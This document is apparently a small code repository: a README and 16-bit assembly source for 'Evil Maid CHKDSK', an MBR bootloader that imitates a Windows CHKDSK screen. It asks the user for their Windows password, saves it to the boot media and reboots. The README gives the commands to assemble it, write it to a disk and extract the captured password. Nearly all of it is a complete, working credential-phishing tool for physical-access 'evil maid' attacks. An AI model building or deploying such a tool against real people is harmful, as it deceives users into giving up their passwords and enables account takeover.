├── README.md └── bootloader.asm /README.md: -------------------------------------------------------------------------------- 1 | Evil Maid CHKDSK 2 | =============== 3 | This is a simple 512-byte MBR program that pretends to be Windows CHKDSK. It asks the user for a password, writes that password back to the media it booted from, clears the bootable flag for that media, and reboots. 4 | 5 | **NOTE**: Windows helpfully prompts the user to format the drive when it's inserted, or when they first log in after the password has been captured. I don't think this can be considered a serious tool until that's fixed, but I've used literally every byte of the MBR - the next stable version probably won't be 512 bytes :) 6 | 7 | Terminal capture of using it with QEMU: https://asciinema.org/a/1201 8 | 9 | Video demonstration on a Windows laptop: https://www.youtube.com/watch?v=tull5_Ctz8M 10 | 11 | To assemble 12 | ---------- 13 | `nasm -f bin bootloader.asm -o bootme` 14 | 15 | To install on a disk 16 | ------------------ 17 | `dd if=./bootme of=/dev/` 18 | 19 | To extract the saved password 20 | ------------------ 21 | `dd if=/dev/ count=1 bs=512 > dump.hex ; xxd dump.hex` 22 | 23 | 24 | Easy peasy. 25 | 26 | Compatibility 27 | ------------ 28 | I've tested this under QEMU with floppies and IDE hard disks, on an Atom (32-bit) netbook using an SD card, and a Core i5 (64-bit) laptop using an SD card. 29 | 30 | DISCLAIMER 31 | ---------- 32 | I haven't tested this in a large number of devices. If the fourth byte of the MBR of another disk in your system is 0x99, you're going to have a bad time (overwritten partition table and/or bootloader). This value is arbitrary and might be changed if I find a better one. 33 | -------------------------------------------------------------------------------- /bootloader.asm: -------------------------------------------------------------------------------- 1 | [BITS 16] 2 | [ORG 0x7C00] 3 | jmp start 4 | disknum db 0x99 ; now the first four bytes are E9 81 01 99 so we can find the disk we booted from 5 | ; we also reuse this spot in memory for the disk we identified as the boot disk 6 | 7 | %macro biosprint 1 ; A nice wrapper 8 | mov si, %1 9 | call puts 10 | %endmacro 11 | 12 | ; print a string - expects that SI is pointing at our string 13 | puts: 14 | lodsb 15 | cmp BYTE al, 0 16 | je puts_end 17 | call putc 18 | jmp puts 19 | puts_end: 20 | ret 21 | 22 | ; print a char to screen - used by puts 23 | putc: 24 | mov ah, 0x0E 25 | mov bx, 0x11 26 | int 0x10 27 | ret 28 | 29 | ; Busy wait, waits about a second on my Atom notebook 30 | sleep: 31 | mov eax, dword 0xffffffff 32 | top: 33 | test eax, eax 34 | je sleep_end 35 | dec eax 36 | jmp top 37 | sleep_end: 38 | ret 39 | 40 | ; Assumes that dl is the disk we want to try 41 | ; 0x00 = first floppy 42 | ; 0x01 = second floppy 43 | ; 0x80 = first hard disk 44 | ; 0x81 = second hard disk 45 | ; Does not check CD-ROM, because we can't write back to it anyways 46 | ; Loads first sector, and if successful, compares the fourth byte 47 | ; (the first 3 are a jump the start of real code) against a known 48 | ; value to identify the evil maid disk. Stores dl in [disknum] if 49 | ; it finds the disk (so, if [disknum] is still 0x99, we didn't find it) 50 | find_disk: 51 | mov ax, 0x201 ; I want to read, and I only want one sector 52 | mov dh, 0x00 ; zeroeth head 53 | mov cx, 0x01 ; first sector, zero-eth track 54 | int 0x13 55 | jc find_disk_end ; carry bit is set on read error 56 | mov al, [0x8003] 57 | cmp al, 0x99 58 | jne find_disk_end 59 | mov BYTE [disknum], dl 60 | find_disk_end: 61 | ret 62 | 63 | ; Strings 64 | checkfs db 'Windows CHKDSK', 13, 10, '==============', 13, 10, 13, 10, 'Checking file system on C:', 0 65 | ntfs db 13, 10, 'The type of file system is NTFS.', 13, 10, 13, 10, 'One of your disks needs to be checked for consistency. You', 13, 10, 'must perform this check before rebooting.', 13, 10, 13, 10,'Enter your Windows password to continue: ', 0 66 | rmchar db 8,' ',8,0 ; this emulates the action of pressing backspace 67 | checking db 13,10,13,10, 'Checking volume C:', 13,10,'This may take a few minutes.',0 68 | 69 | start: 70 | xor ax, ax ; we just want to use absolute addresses 71 | mov ds, ax 72 | mov es, ax 73 | 74 | biosprint checkfs 75 | call sleep 76 | biosprint ntfs 77 | 78 | mov bp, 0x7E00; ; this is where we write our password, and will become the sector we write back 79 | keep_zeroing: 80 | mov [bp], BYTE 0x00 81 | inc bp 82 | cmp bp, 0x8000 ; 512 bytes from 0x7E00 83 | jb keep_zeroing 84 | 85 | mov di, 0x7E00 ; read the user's password into memory at 0x7E00 86 | xor cx, cx ; we start out at zero characters 87 | readchar: 88 | mov ah, 0x00 ; get a character 89 | int 0x16 90 | cmp al, 13 ; ASCII code 13 is the 'Enter' key on my keyboard 91 | je readchar_end 92 | cmp al, 8 ; ASCII code 8 is the 'Backspace' key on my keyboard 93 | je backspace 94 | stosb 95 | mov al, '*' ; we're protecting their password from prying eyes ;) 96 | call putc 97 | inc cx 98 | jmp readchar 99 | backspace: 100 | test cx, cx 101 | je readchar ; don't keep backing up if there are no characters entered 102 | biosprint rmchar 103 | dec di 104 | mov [di], BYTE 0x00 ; blank a character from memory, remove one '*' from screen 105 | dec cx 106 | jmp readchar 107 | readchar_end: 108 | 109 | biosprint checking 110 | 111 | mov bx, 0x8000 ; write sector to this part of memory 112 | mov dl, 0x00 ; look for our disk 113 | call find_disk 114 | mov dl, 0x01 115 | call find_disk 116 | mov dl, 0x80 117 | call find_disk 118 | mov dl, 0x81 119 | call find_disk 120 | 121 | ; if we found our disk, write our blanked sector with password 122 | ; stored to that disk 123 | cmp BYTE [disknum], 0x99 124 | je skip_write_disk 125 | mov ax, 0x301; ; I want to write, and I want one sector 126 | mov cx, 0x01; ; zeroeth cylinder, first sector 127 | mov bx, 0x7E00 ; memory location to write from 128 | mov dl, [disknum] 129 | int 0x13 130 | skip_write_disk: 131 | 132 | call sleep 133 | int 0x19 134 | 135 | ; make this output exactly 512 bytes long, and mark it as bootable 136 | times 510 - ($ - $$) db 0 137 | dw 0xAA55 138 | --------------------------------------------------------------------------------